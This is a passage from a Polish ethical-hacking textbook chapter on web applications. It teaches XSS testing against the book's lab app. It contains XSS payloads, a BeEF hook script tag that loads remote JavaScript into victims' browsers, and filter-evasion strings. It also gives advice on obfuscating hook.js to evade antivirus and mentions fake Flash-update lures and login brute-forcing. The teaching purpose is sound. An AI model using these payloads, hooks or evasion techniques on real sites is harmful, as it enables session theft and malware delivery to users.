często zdarza się, że osoby zajmujące się instalowaniem takiego systemu zapominają je później usu-
nąć z serwera.
Poza tymi wszystkimi elementami zawsze mamy też specjalny kod napisany na potrzeby konkret-
nej aplikacji, którą teraz poddajemy testom. Taki specjalizowany kod również może zawierać błędy
umożliwiające dostęp do zastrzeżonych części aplikacji przy użyciu dowolnych (lub nawet domyśl-
nych) danych uwierzytelniających. Oprócz tego czasami w systemie pozostawiane jest konto do
debugowania lub konto domyślnego użytkownika, które również można wykorzystać w tym celu.

3681988c430c7fe1e8567c4e2f281f7b
3
440 Rozdział 12  Aplikacje sieciowe

Strony błędów oraz ślady stosu

Typowy użytkownik sieci WWW często zaczyna się denerwować, gdy zobaczy stronę błędu HTTP
500. Taka strona jest jednak świetną wiadomością dla hakera, ponieważ oznacza ona, że prawdo-
podobnie natknął się na interesującą podatność. Czasami strony błędu HTTP 500 nie zawierają
żadnych szczegółów na temat samego błędu, ale w niektórych przypadkach można tam zobaczyć
naprawdę sporo ciekawych informacji. Czasami są to bardzo proste dane, takie jak nazwa oprogra-
mowania i numer wersji, ale czasami pojawia się też kompletny ślad stosu dokładnie opisujący błąd,
jaki wystąpił w skrypcie. Zdarza się też, że po komunikacie o błędzie HTTP 500 można zobaczyć
dane uwierzytelniające albo zawartość pliku skryptowego. Każdy błąd HTTP 500 oznacza, że na
serwerze zdarzyło się coś niedobrego, dlatego należy go dokładnie zbadać, aby wykluczyć istnienie
podatności na wstrzykiwanie poleceń SQL albo innej groźnej wady.

Cross-Site Scripting
Błędy XSS (Cross-Site Scripting) są rodzajem podatności umożliwiającej wstrzykiwanie do aplikacji
sieciowej złośliwego kodu JavaScript, co sprawia, że działa on w przeglądarce użytkownika. W tego
typu atakach można wyróżnić dwie kategorie ofiar: samą aplikację sieciową oraz jej użytkowników.
Najważniejszą cechą ataków XSS jest to, że wstrzykiwany jest kod działający po stronie klienta.
Oznacza to, że złośliwy kod jest wykonywany przez przeglądarkę użytkownika, a nie działa na ser-
werze aplikacji. W związku z tym ataków XSS nie da się wykorzystać do odczytywania plików znaj-
dujących się na serwerze aplikacji sieciowej (a przynajmniej nie bezpośrednio), ale za to można ich
używać do odczytywania danych z komputerów użytkowników, na przykład plików cookie z danymi
sesji. Podatności na ataki XSS są poważnym i powszechnym problemem, ale nie zawsze są traktowane
z należytą uwagą. W zależności od różnych czynników ataki XSS są wykorzystywane do wykradania
danych uwierzytelniających, plików cookie albo danych sesji. Umożliwiają też rejestrowanie naci-
skanych klawiszy albo nawet kopanie kryptowalut na komputerach użytkowników aplikacji.
Istnieją dwa najważniejsze warianty ataku XSS: nietrwałe i trwałe. Nietrwały atak XSS związany
jest na przykład z namówieniem użytkownika do kliknięcia linku przenoszącego go na stronę apli-
kacji sieciowej, w której wykonywany jest złośliwy kod JavaScript albo wyświetlany jest podsta-
wiony kod HTML. Sam kod JavaScript lub HTML dostarczany jest jako część linku podsuniętego
użytkownikowi, który jest przejmowany przez stronę aplikacji. Oznacza to, że złośliwy kod działa
tylko w tym jednym przypadku — zaraz po kliknięciu podstawionego linku.
O trwałym ataku XSS mówimy wtedy, gdy atakujący jest w stanie trwale zmienić aplikację
sieciową, wykorzystując jeden z jej formularzy, na przykład formularz przesyłania komentarzy
albo rejestrowania nowego użytkownika. Złośliwy kod jest wtedy umieszczany w samej aplikacji
i wpływa na wszystkich odwiedzających daną stronę lub większą część aplikacji. Oznacza to, że
możliwe jest wykorzystanie strony internetowej poważanej organizacji, żeby atakować użytkowni-
ków lub odwiedzających tę stronę. Takie ataki rzeczywiście mogą wykorzystywać daną markę i za-
ufanie, jaką darzą ją użytkownicy, ponieważ zwykle bez namysłu klikają oni linki należące do roz-
poznawalnych firm.
Trwały atak XSS uznawany jest za znacznie groźniejszy od nietrwałego, ponieważ powoduje
zmianę danych w samej aplikacji sieciowej. Oczywiście w grę wchodzą tutaj również inne czynniki.

3681988c430c7fe1e8567c4e2f281f7b
3
Cross-Site Scripting 441

Ważne jest też określenie, jakich zniszczeń można dokonać za pomocą wykrytej podatności. Nie
należy przypisywać etykietek jedynie na podstawie z góry założonego zbioru kryteriów. Na przy-
kład nietrwały atak XSS, który umożliwia kradzież danych sesji (co pozwala atakującemu podawać się
za pełnoprawnego użytkownika aplikacji), można porównać do trwałego ataku, po którym każdemu
odwiedzającemu określoną stronę wyświetli się obrazek kota. Który z nich będzie groźniejszy?
Prekursorem ataków XSS są błędy zwróconego wejścia (ang. reflected input). Dokładnej analizy
wymagają wszystkie miejsca w aplikacji sieciowej, w których przyjmuje ona dane od użytkownika
i wyświetla je na stronie (na przykład pole imię w formularzu rejestracji nowego użytkownika albo
strona wyświetlająca imię użytkownika w nagłówku). Dobrze zaprojektowana aplikacja sieciowa
najpierw oczyszcza dane otrzymane od użytkownika. Może to robić albo przy samym przyjęciu
tych danych, albo przy próbach ich wyświetlania (albo w obu miejscach). Oczyszczanie (ang. sani-
tize) to termin opisujący proces usuwania z otrzymanych danych wszystkich złośliwych lub poten-
cjalnie złośliwych elementów.
Pole imię w formularzu rejestrowania nowego użytkownika powinno przyjmować wyłącznie
znaki ograniczone do liter alfabetu oraz kilku znaków dodatkowych, takich jak spacje, myślniki albo
apostrofy. Nie ma żadnego powodu, żeby w tym polu można było wpisywać inne znaki, które nor-
malnie nie pojawiają się w imionach. Komiks spod adresu https://xkcd.com/327 świetnie pokazuje,
co może się zdarzyć, jeżeli pole przeznaczone na imię będzie przyjmować więcej znaków, niż po-
winno (choć w tym przypadku komiks mówi raczej o podatności na wstrzykiwanie poleceń SQL).
Czasami aplikacje sieciowe stosują mechanizmy kontroli poprawności danych działające po stronie
klienta, ale zapominają o wdrożeniu takich samych mechanizmów po stronie serwera. Takie kon-
trole działające po stronie klienta nie mają żadnego znaczenia dla bezpieczeństwa aplikacji, ponie-
waż można je obejść w łatwy sposób (wystarczy przechwycić żądanie za pomocą serwera proxy,
a następnie zmienić je i ponownie wysłać do serwera, tym razem bez żadnej kontroli ze strony kodu
klienckiego), ale za to bardzo podnoszą użyteczność takiej strony.
Ataki XSS mają potencjał do spowodowania poważnych szkód. Dają nam (albo atakującym)
możliwość wykonywania kodu i rysowania części stron w przeglądarkach innych użytkowników.
Co więcej, nasz kod będzie wykonywany w kontekście zalogowanego aktualnie użytkownika, a to
oznacza, że może wykonywać działania w imieniu tego użytkownika.

SAMY, MÓJ BOHATERZE!

Metody ataków XSS można też wykorzystać do tworzenia robaków internetowych, ponieważ po
umieszczeniu złośliwego kodu w aplikacji sieciowej będzie on wpływał na każdego użytkownika
tej aplikacji. Przykładem takiego działania jest robak Samy XSS napisany przez Samy’ego Kamkara
w 2005 roku. Jego kod atakował jedną z pierwszych aplikacji mediów społecznościowych —
MySpace (część czytelników może jeszcze pamiętać tę nazwę) — i praktycznie zmuszał użytkow-
ników do dodania autora tego robaka do listy znajomych. Ten exploit sprawił, że Samy Kamkar
zyskał ponad milion znajomych na MySpace, a potem karę trzech lat więzienia w zawieszeniu oraz
grzywnę w wysokości 10 tysięcy dolarów i 720 godzin prac społecznych. Więcej informacji na
temat tego robaka (oraz innych ciekawych prac Samy’ego) znajdziesz na stronie http://samy.pl.
Portal MySpace działał inaczej niż nowoczesne aplikacje mediów społecznościowych, takie
jak Twitter, LinkedIn i Facebook, ponieważ pozwalał użytkownikom na modyfikowanie strony
swoich profili przez umieszczanie w nich własnego kodu HTML oraz skryptów. To zupełnie inne
podejście niż stosowane przez Facebook, w którym strony profili użytkowników wyglądają do-
kładnie tak samo i nie ma w nich możliwości dodawania własnego kodu.

3681988c430c7fe1e8567c4e2f281f7b
3
442 Rozdział 12  Aplikacje sieciowe

Znajdowanie podatności na ataki XSS jest zwykle dość proste. Dobre wyniki takiego wyszuki-
wania można uzyskać za pomocą wielu zautomatyzowanych narzędzi, które wstawiają specjalne
dane w różnych miejscach aplikacji i sprawdzają, czy te same dane nie pojawią się gdzieś w jej od-
powiedziach. Jeżeli w odpowiedzi znajdą się określone złośliwe znaki, to jest to doskonała wska-
zówka, że możemy mieć do czynienia z podatnością na atak XSS. Wcześniej przyglądaliśmy się
aplikacji sieciowej z laboratorium naszej książki, wypisując listę ciekawych funkcji tej aplikacji,
wśród których znalazło się też wyszukiwanie. Teraz możemy się nieco dokładniej przyjrzeć tej
funkcji. Na początek wpisz w polu wyszukiwania ciąg znaków, który raczej na pewno nie pojawi
się nigdzie w normalnych odpowiedziach aplikacji (na przykład mamCie-12345). Skopiuj ten ciąg
znaków do schowka, bo za chwilę będzie nam ponownie potrzebny. Chodzi nam tu o całkowicie
dowolny ciąg znaków, bo chcemy tylko sprawdzić, czy aplikacja w ogóle wypisuje informacje, jakie
tutaj wpiszemy. Po przesłaniu żądania wyszukiwania (na razie jeszcze nie trzeba włączać modułu
przechwytującego w programie Burp) aplikacja powinna zwrócić odpowiedź. Przeglądając otrzy-
maną stronę, zauważysz, że nie ma na niej szukanego ciągu znaków. Ale czy nie pojawia się on
w kodzie źródłowym strony?
Włącz zatem podgląd kodu źródłowego strony, a następnie naciśnij klawisze Ctrl+F, aby wy-
świetlić pole wyszukiwania. Wklej skopiowany wcześniej ciąg znaków do tego pola, aby sprawdzić,
czy nie ukrywa się gdzieś w kodzie. Z pewnością okaże się, że tym razem tekst zostanie znaleziony.
To oznacza, że aplikacja mimo wszystko umieszcza dane otrzymane od użytkownika w kodzie od-
powiedzi. Teraz możemy przejść do następnego etapu i sprawdzić, czy podobnie traktowane są
również inne znaki. Być może uda się w ten sposób wstrzyknąć na stronę trochę kodu HTML, który
spowoduje zmianę jej wyglądu.
Tym razem umieść swój tekst w znacznikach <h1>, a całość ciągu znaków poprzedź znakiem
cudzysłowu oraz prawym nawiasem ostrym, tak jak poniżej:
"><h1>mamCie</h1>

Chodzi nam o to, żeby zmienić wyświetlany w przeglądarce kod HTML, a w przeglądanym
wcześniej kodzie źródłowym widzieliśmy, że przed ciągiem znaków znajduje się element HTML,
który powinien zostać zamknięty znakami ">.
Ponownie kliknij przycisk wyszukiwania na stronie. Przy odrobinie szczęścia po załadowaniu
strony z wynikami powinien znaleźć się na niej nowy element (wstrzyknięty ciąg znaków) wyświe-
tlany jako nagłówek. Mimo to atak się nie powiódł? Dlaczego? Ponownie przejrzyj kod strony, po-
szukując w nim swojego ciągu znaków, tak jak zrobiliśmy to poprzednio.
Sam ciąg znaków jest tam, gdzie powinien, ale wpisaliśmy w nim potencjalnie niebezpieczne
znaki, a zatem zostały one odpowiednio zakodowane i nigdy nie były wypisywane bezpośrednio.
Tak właśnie powinna pracować każda aplikacja sieciowa. Nie da się wstrzyknąć kodu HTML na
stronę aplikacji. Ze względu na to, że znaki lewego i prawego nawiasu ostrego nie są używane bez-
pośrednio, nie będziesz w stanie wstrzyknąć na stronę znaczników <script> z umieszczonym między
nimi kodem JavaScript. To oznacza, że nie da się tu przeprowadzić żadnego poważniejszego ataku
XSS (choć za chwilę dowiesz się, że istnieją jeszcze inne metody wstrzykiwania kodu JavaScript).
Na razie aplikacja zatrzymała nasze zakusy, ale jeszcze się nie poddajemy!

3681988c430c7fe1e8567c4e2f281f7b
3
Cross-Site Scripting 443

Do tej pory wypróbowaliśmy zaledwie jedno pole formularza, a w aplikacji jest ich znacznie
więcej. Już wcześniej widzieliśmy sekcję komentarzy, która prawdopodobnie umożliwiała wprowa-
dzanie pełnego kodu HTML. Spróbuj tutaj wpisać swój ciąg znaków albo jakąś jego wariację, na
przykład Uwielbiam kucyki! <h1>mamCie</h1>.
Jeżeli teraz klikniesz przycisk przesyłania komentarza, to zobaczysz na stronie, że aplikacja
przyjęła wprowadzony kod HTML. Ale to chyba nie problem? W końcu aplikacja informuje o tym,
że przyjmuje zewnętrzny kod HTML, mimo że ten może zostać użyty do wstrzykiwania złośliwych
treści i komunikatów. W kolejnym kroku trzeba sprawdzić, czy udałoby się umieścić w komentarzu
jakiś kod JavaScript. Wpisz zatem poniższy tekst:
<script>alert("Witaj, świecie!")</script>

To okienko informacyjne, które pojawiło się teraz na ekranie, jest wynikiem działania dodanego
przez nas skryptu JavaScript. Po zapisaniu tego komentarza każdy odwiedzający tę stronę (lub ko-
mentarz) zobaczy takie samo okienko z informacją. Raczej mało prawdopodobne jest, żeby twórcy
aplikacji sieciowej mieli na myśli takie jej zachowanie. A z naszego punktu widzenia, skoro udało
się wywołać małe okienko informacyjne, to z całą pewnością będziemy w stanie zrobić dużo więcej
ciekawych rzeczy. Mamy tu do czynienia z przykładem trwałego ataku XSS. Tylko dlaczego to takie
groźne? Przecież udało nam się tylko uruchomić śmieszny skrypt JavaScript działający w przeglą-
darce. Pamiętaj jednak, że ta strona jest jedną ze stron dostępnych publicznie w internecie. Każdy
odwiedzający tę stronę uruchomi nasz skrypt JavaScript w swojej przeglądarce.
Skoro udało nam się wykryć podatność na ataki XSS, to należałoby sprawdzić, ile szkód można
w ten sposób spowodować. Jeżeli w raporcie dla klienta zapiszesz tylko, że użytkownicy mogą wy-
woływać okienka z komunikatem „Witaj, świecie!”, to klient może nie potraktować tego problemu
odpowiednio poważnie.
Pamiętaj, że użytkownikiem, który padnie ofiarą tego ataku, może być pracownik albo admini-
strator firmy klienta lub ktoś, kto zalogował się do aplikacji sieciowej z kontem użytkownika uprzy-
wilejowanego.

Framework BeEF
Projekt BeEF (Browser Exploitation Project) został przygotowany jako źródło wiedzy na temat ata-
ków XSS oraz ich implikacji. Program BeEF można zainstalować w systemie Kali Linux za pomocą
polecenia apt install beef-xss albo stosując się do instrukcji dostępnych na stronach wiki pro-
jektu: https://github.com/beefproject/beef/wiki/Installation. Aby uzyskać z tego projektu jak najwię-
cej informacji, zaleca się instalowanie go zgodnie z tą instrukcją, przez kompilowanie kodu źródło-
wego. Zakładamy jednak, że używasz wersji dostępnej w systemie Kali Linux, którą można łatwiej
zainstalować, a tym samym szybciej przystąpić do pracy z nią. Wpisz zatem w oknie terminala
(otwartego z prawami użytkownika root) polecenie beef-xss. Początkowo program BeEF poprosi
Cię o zdefiniowanie hasła dla domyślnego użytkownika beef (zalecamy podać tutaj silne hasło), po
czym wyświetli dodatkowe wyjaśnienia. W wyświetlonym tu tekście podawany jest tak zwany hook
(wyróżniony na poniższym wydruku), którego musisz użyć w celu wykonania ataku na swoją
ofiarę. W tym przypadku ofiarą będzie Twój komputer, ponieważ wszystkie ataki XSS będziemy
testować na samych sobie. Oto wycinek tekstu wyświetlanego po uruchomieniu programu BeEF:

3681988c430c7fe1e8567c4e2f281f7b
3
444 Rozdział 12  Aplikacje sieciowe

[*] Please wait for the BeEF service to start.

[*]
[*] You might need to refresh your browser once it opens.
[*]
[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

Program BeEF dysponuje również interfejsem graficznym otwieranym w przeglądarce. Po za-

logowaniu się za pomocą nazwy użytkownika beef oraz zdefiniowanego wcześniej hasła wyświetlona
zostanie domyślna strona, przedstawiona na rysunku 12.26. Podawane są na niej ogólne informacje
o tym, jak można zacząć pracę z programem.

Rysunek 12.26. Panel sterowania programu BeEF

Zauważ, że po wpisaniu w przeglądarce adresu https://github.com/

beefproject/beef w celu otwarcia strony projektu Browser Exploitation Framework może
się w niej pojawić alarm bezpieczeństwa. Aby jak najlepiej wykorzystać możliwości frame-
worku, należy go zainstalować i dostosować do pracy na serwerze podłączonym do internetu,
tak żeby skutecznie wstrzykiwać własne skrypty i podłączać się do zdalnych przeglądarek.
Ze względu na to, że frameworku można używać do nauki i do przeprowadzania faktycznych
ataków, często programy antywirusowe oznaczają różne komponenty JavaScript należące
do tego frameworku jako złośliwy kod.

3681988c430c7fe1e8567c4e2f281f7b
3
Cross-Site Scripting 445

Domyślnie program BeEF działa na adresie lokalnego hosta (127.0.0.1), na porcie TCP 3000.
W swojej przeglądarce zobaczysz zatem adres 127.0.0.1:3000/ui/panel/.
Skopiuj przykładowy kod wypisany w oknie terminala poniżej kodu hooka i wklej go w aplikacji
z laboratorium naszej książki jako kolejny komentarz (tak samo jak zrobiliśmy wcześniej z własnym
kodem JavaScript). Całość tego kodu przedstawiamy też poniżej:
<script src="http://127.0.0.1:3000/hook.js"></script>

W ten sposób wstrzykujemy kod JavaScript odwołujący się do kodu umieszczonego w innym
miejscu. W tym przypadku ten zewnętrzny kod znajduje się na tym samym hoście, ale w rzeczywi-
stości przygotowujemy własny wirtualny serwer BeEF, do którego odwoływać się będzie ten kod.
Dzięki takiemu odwołaniu do zdalnego kodu JavaScript zyskujemy możliwość modyfikowania
kodu w swoim serwerze BeEF, a atakowana aplikacja sieciowa będzie wykonywać tak zmieniony
kod (a dokładniej: zrobią to przeglądarki użytkowników aplikacji). Nie ma zatem potrzeby mody-
fikowania hooka, który raz umieściliśmy w aplikacji sieciowej. Od razu po przesłaniu formularza nie
zobaczysz żadnej zmiany na stronie (bez spojrzenia w kod tej strony) wskazującej na to, że nasz kod
został gdzieś zapisany. Dokładnie tak wygląda też prawdziwy atak — większość użytkowników nie ma
pojęcia o tym, że są właśnie atakowani. Wróć teraz do programu BeEF, a zobaczysz, że w sekcji
Hooked Browsers (widocznej na rysunku 12.27) pojawi się nowa pozycja. Rozwiń też folder Online
Browsers (klikając małą strzałkę przy jego nazwie), aby zobaczyć listę przeglądarek z aktywnym hookiem.

Rysunek 12.27. Lista przeglądarek z hookiem wyświetlana w programie BeEF

3681988c430c7fe1e8567c4e2f281f7b
3
446 Rozdział 12  Aplikacje sieciowe

Pozycje pojawiające się na liście Hooked Browsers pokazują kolejne komputery ofiar naszego
ataku. W tym przypadku jedyną ofiarą ataku jesteś Ty, a dokładniej Twoja przeglądarka. Możesz
też spróbować uzyskać dostęp do aplikacji sieciowej z laboratorium naszej książki za pomocą prze-
glądarki ze swojego komputera (a nie z maszyny wirtualnej Kali Linux). Pozwoli to zobaczyć róż-
nicę między prawdziwą ofiarą ataku a atakującym systemem, którym w tym przypadku jest Kali
Linux. Oczywiście dodatkowa pozycja na liście to znów będzie Twoje działanie, ale tym razem
z innego hosta, na przykład z systemu Windows, macOS albo Ubuntu.
Plik hook.js, który przesyłamy użytkownikom aplikacji, zawiera prosty kod umożliwiający ko-
munikację między Tobą, Twoją instancją programu BeEF oraz przeglądarką użytkownika. Na razie
hook umieściliśmy tylko w swojej przeglądarce, ale gdybyśmy użyli tego exploitu w prawdziwych
rozwiązaniach, na liście widocznych byłoby wiele przeglądarek użytkowników, którzy również od-
wiedzili stronę ze zmodyfikowanym komentarzem. To właśnie dlatego program BeEF trzeba zain-
stalować na hoście dostępnym z internetu, tak żeby przeglądarki innych użytkowników mogły po-
bierać nasz plik ze skryptem.
Nowoczesne programy antywirusowe wykrywają program BeEF, uznając go za złośliwe opro-
gramowanie, dlatego próby wykonania rzeczywistych testów mogą być w ten sposób zatrzymy-
wane. W takiej sytuacji trzeba tak zmienić kod pliku hook.js, żeby zmienić jego wygląd, co pozwala
uniknąć wykrycia. Do zaciemnienia tego kodu i ukrycia złośliwych właściwości kodu JavaScript
można użyć programu „jsobfu” z biblioteki języka Ruby. Pełną dokumentację tego programu znaj-
dziesz pod adresem https://github.com/rapid7/jsobfu.
Podczas pisania raportu dla klienta nie zapomnij o zaprezentowaniu prostego ataku, który po-
zwoli pokazać zagrożenia osobom nietechnicznym.
Kliknięcie jednej z przeglądarek z listy w programie BeEF spowoduje otwarcie karty Current
Browser. Jeżeli teraz klikniesz kartę Command (znajduje się w drugim rzędzie kart na rysunku 12.28),
to otwarte zostanie okno Module Tree. Spróbuj tutaj uruchomić jeden z modułów inżynierii spo-
łecznej atakujących wtyczkę Adobe Flash. Po powrocie do zaatakowanej strony zobaczysz potwier-
dzenie wykonania tego ataku!
Po podłączeniu się do przeglądarki użytkownika (albo do wielu przeglądarek) możesz poszukać
sposobu na włamanie się do tej przeglądarki, na przykład wykorzystując niezałatane podatności
albo korzystając z modułu browser_autopwn z frameworku Metasploit. Wymaga to wprowadzenia
wielu ustawień do konfiguracji modułu, dlatego zalecamy najpierw przeczytać dokumentację pro-
gramu BeEF, co pozwoli go jak najlepiej wykorzystać, na przykład poprzez zintegrowanie go z frame-
workiem Metasploit.
Jeżeli nie uda Ci się przeprowadzić innych ataków, to spróbuj zaprezentować użytkownikowi
fałszywą aktualizację wtyczki Flash. Powoduje ona wyświetlenie komunikatu o konieczności zak-
tualizowania wtyczki Flash, a gdy użytkownik zgodzi się na instalację, pobierany jest złośliwy plik
albo użytkownik jest przekierowywany na wybraną stronę WWW. Z pewnością każdy spotkał się
już z takimi sztuczkami w przeszłości. Niejednokrotnie używano ich, aby zwabić użytkowników na
podrobioną stronę popularnego producenta, a potem namówić do pobrania złośliwego oprogra-
mowania, które całkowicie przejmie system swojej ofiary. To często stosowana sztuczka pozwala-
jąca infekować komputery użytkowników za pośrednictwem sieci reklamowych.

3681988c430c7fe1e8567c4e2f281f7b
3
Cross-Site Scripting 447

Rysunek 12.28. Lista poleceń dla aktualnej przeglądarki

Ataków XSS można używać w połączeniu z innymi atakami lub metodami, takimi jak phishing.
Można w ten sposób wysyłać link prowadzący użytkownika na znaną mu stronę, której on ufa, a w której
znaleźliśmy podatność na atak XSS. Wystarczy wtedy namówić użytkownika do podania swoich
danych uwierzytelniających, które zostaną szybko przekazane do atakującego. Taki atak ma tę zaletę,
że wygląda tak, jakby został przeprowadzony przez witrynę, której użytkownik ufa, co oznacza wy-
korzystanie reputacji danej witryny do zwiększenia skuteczności własnego ataku phishingowego.
Ataki XSS mają wpływ na użytkowników danej witryny, w tym i na pracowników firmy, którzy
również mogą korzystać tej samej aplikacji sieciowej. Co więcej, taki atak może mieć niszczący
wpływ na markę i na samą firmę. Jeżeli w ten sposób przejęty zostanie system obsługujący pracow-
ników, to skutki mogą być jeszcze gorsze, ponieważ atakujący ma wtedy możliwość przełamania
zewnętrznych zabezpieczeń sieci firmowej i zaatakowania sieci wewnętrznej, aby uzyskać dostęp
do wrażliwych danych.

Dodatkowe informacje o podatnościach XSS

Pokazaliśmy tylko jedną podatność na ataki XSS razem z kilkoma metodami wykorzystania jej.
Od każdego etycznego hakera oczekuje się, że podczas testowania aplikacji sieciowej znajdzie on
każdy przypadek takiej podatności. I choć automatyczne narzędzia całkiem dobrze radzą sobie
z tym zadaniem, to można podjąć kilka kroków, żeby choć częściowo zautomatyzować cały ten
proces. Pamiętaj, że nie chodzi nam jedynie o kontrolę dostępnych formularzy, ale o sprawdzenie

3681988c430c7fe1e8567c4e2f281f7b
3
448 Rozdział 12  Aplikacje sieciowe

wszystkich miejsc, które pozwalają na wstrzykiwanie własnych danych (każdy parametr lub plik
cookie), oraz wszystkich elementów, które serwer może od nas pobrać, aby później wyświetlić na
stronie. Najpierw trzeba zatem sprawdzić, czy podane przez nas dane w ogóle pojawiają się na stro-
nie, a potem skontrolować, czy dane umieszczone na stronie zostały przez system oczyszczone
względem postaci, w jakiej je otrzymał. Jedną z metod takiego sprawdzenia wszystkich punktów
wejścia do systemu jest wykorzystanie specjalnych narzędzi, takich jak moduł Intruder z programu
Burp Suite. To kolejne bezpłatne narzędzie, które pozwala na częściowe odtworzenie działań wy-
konywanych przez moduł Active Scanner.
Wróćmy teraz do formularza funkcji wyszukiwania. Przechwyć żądanie z tego formularza
i przekaż je do modułu Intruder. Możesz teraz usunąć plik cookie, który został przy okazji utwo-
rzony. Sam program BeEF nie jest nam potrzebny w tym kroku, dlatego możesz go zamknąć, choć
to może sprawić, że przeglądarka zacznie działać wolniej, ponieważ będzie poszukiwać niedostęp-
nych już skryptów. Zauważ, że przechwycone żądanie jest żądaniem typu POST z dołączonymi
wieloma parametrami, które możemy dowolnie modyfikować. Jako punkty wejścia należy też trak-
tować wszystkie nagłówki HTTP, ponieważ ich wartości też bywają umieszczane w kodzie strony.
Moduł Intruder automatycznie wyznaczy dla nas wszystkie punkty wejścia. Na razie pozwólmy mu
przyjąć wartości domyślne.
Darmowa wersja programu Burp Suite nie została wyposażona w żadne payloady, dlatego
musimy je przygotować samodzielnie. Przygotuj sobie zatem listę ciągów znaków, które po umiesz-
czeniu w kodzie strony spowodują wykonanie skryptu JavaScript w przeglądarce użytkownika.
Istnieje wiele możliwości zapisywania takich skryptów, a zapis <script>JavaScript</script>
jest tylko jedną z metod przeprowadzania ataku XSS. Kliknięcie przycisku Start Attack w mo-
dule Intruder z zaznaczonym zbiorem payloadów spowoduje rozpoczęcie wysyłania żądań, w któ-
rych poszczególne parametry zastępowane są wartościami z podanych payloadów. To jedna
z metod pozwalających na półautomatyczne przetestowanie wybranego parametru na obecność
różnych podatności.

Unikanie filtrów XSS

Na szczęście nie musisz przygotowywać własnej listy payloadów. W sieci dostępnych jest wiele źró-
deł dla takich danych. Przykładem może być strona OWASP’s XSS Filter Evasion Cheat Sheet, do-
stępna pod adresem https://owasp.org/www-community/xss-filter-evasion-cheatsheet. Pozyskane
w ten sposób ciągi znaków można zaimportować bezpośrednio do programu Burp Suite, a dokład-
nie do jego modułu Intruder. Po przygotowaniu takiej listy i wybraniu rodzaju ataku można roz-
począć działanie. Chcąc sprawdzić, czy którykolwiek z payloadów zadziałał zgodnie z oczekiwa-
niami, musisz poszukać w otrzymanej odpowiedzi tego samego ciągu znaków. Atak XSS można
uznać za udany jedynie wtedy, gdy otrzymana odpowiedź ma przypisany kod HTTP 200. Jeżeli
jednak w odpowiedzi znajdzie się kod HTTP 500, to znaczy, że trzeba sprawdzić zupełnie inne
rzeczy, ponieważ przesłany w żądaniu payload spowodował poważny błąd po stronie serwera!
Innych źródeł informacji możesz poszukać w sieci za pomocą frazy „unikanie filtrów XSS” lub „xss
filter evasion”. Zadziwiająco skuteczną metodą unikania filtrów XSS jest zastosowanie pakietu XSS
Polyglot, czyli kodu JavaScript, który równie dobrze może być obrazkiem albo poprawnym doku-
mentem XML. Takie ciągi znaków są regularnie publikowane w serwisie GitHub przez naukowców,

3681988c430c7fe1e8567c4e2f281f7b
3
Cross-Site Scripting 449

wkładających wiele wysiłku w próby tworzenia coraz bardziej interesujących wersji kodu, który ma
za zadanie przedostać się do aplikacji tak, żeby ta uznała go za niewinne dane (na przykład obra-
zek), a jednocześnie zostać uruchomionym już w przeglądarce użytkownika.
Poniżej prezentujemy kilka payloadów ze strony projektu OWASP, które na pewno zadziałają
w laboratorium naszej książki. Pierwszy z nich tworzy na stronie niegroźny obrazek, ale po wska-
zaniu go myszą wywołane zostanie okienko z komunikatem. Tak jak w poprzednim przykładzie,
i tu wywołanie tego okienka można zastąpić dowolnym innym (złośliwym) kodem. W tym przy-
padku korzystamy z metod obsługi zdarzeń, co jest powszechnie stosowaną metodą pomijania sła-
bych filtrów XSS, które mogą poszukiwać wyłącznie wybranych znaczników, takich jak <scirpt>.
Jak widać, poniższy kod w ogóle nie korzysta ze znaczników skryptowych (<script></script>),
dlatego jeżeli aplikacja zajmuje się wyłącznie usuwaniem tych znaczników z danych podanych
przez użytkownika, to na pewno będzie podatna na takie sztuczki:
<IMG SRC=# onmouseover="alert('XSS')">

W poniższym payloadzie również korzystamy ze znacznika obrazka, ale tym razem używamy
zdarzenia onError, a nie onMouseOver tak jak w powyższym kodzie. Co więcej, całość tego kodu
musi znaleźć się w jednym wierszu tekstu. W tym przypadku kod JavaScript wywołujący okienko
z komunikatem zapisany jest za pomocą kodowania encji HTML.
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#
0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#
0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#
0000039&#0000041">

Do wyszukiwania różnego rodzaju podatności można wykorzystać moduł

Intruder z programu Burp Suite lub inne podobne narzędzie. Zamiast nich możesz też przy-
gotować własną pętlę w powłoce bash, która będzie wywoływać program cURL, aby wysłać
do aplikacji różne żądania. W ten sposób można poszukiwać różnych form podatności na
wstrzykiwanie (SQL, XML i innych). Wystarczy tylko umieszczać w żądaniach dodatkowe znaki
cudzysłowu, końca wiersza, wykrzyknika albo inne rodzaje payloadu i wysyłać je do różnych
punktów wejścia w aplikacji sieciowej, kontrolując przy tym, czy wstawione dane pojawią się
w odpowiedzi serwera. Może się też okazać, że w ten sposób spowodujemy awarię serwera,
a to przełoży się na odmowę świadczenia usług, co jest też specjalnym rodzajem podatno-
ści. Aby uniknąć takiej sytuacji, należy ograniczyć liczbę wątków oraz ilość wysyłanych żądań,
na przykład przez wprowadzenie odpowiednio dużych opóźnień. Używając tych samych na-
rzędzi, można też próbować siłowych ataków na formularze uwierzytelniania użytkowni-
ków. Wystarczy tylko skorzystać z istniejących już list nazw i haseł użytkowników.

Unikanie filtrów nie jest taktyką związaną wyłącznie z atakami XSS. Można ją
stosować wszędzie tam, gdzie aplikacja przyjmuje dane od użytkownika, bo tam można po-
szukiwać sposobu wykonania ataku wstrzykiwania. Typowym rozwiązaniem zabezpiecza-
jącym dla takich miejsc jest filtrowanie znaków uznanych za złośliwe, ale istnieją też spo-
soby manipulowania takimi filtrami i unikania ich. Kontrola danych wykonywana po stronie
serwera powinna zostać połączona z solidnymi zasadami bezpiecznego programowania,
ponieważ tylko to umożliwia unikanie podatności, o których mówimy w tym rozdziale.

3681988c430c7fe1e8567c4e2f281f7b
3
450 Rozdział 12  Aplikacje sieciowe

Niebezpieczna deserializacja
Systemy komunikują się ze sobą, wysyłając sobie wzajemnie różne dane. Na najbardziej podstawo-
wym poziomie chodzi jedynie o wymianę serii zer i jedynek (niskiego i wysokiego poziomu napię-
cia) przesyłanych przez miedziane przewody albo drogą radiową. Na tej bazie budowane są kolejne
protokoły komunikacyjne. W programowaniu komputerów termin serializacja oznacza zmianę
wybranego typu danych, na przykład obiektu, który może zawierać różne inne typy danych, w stru-
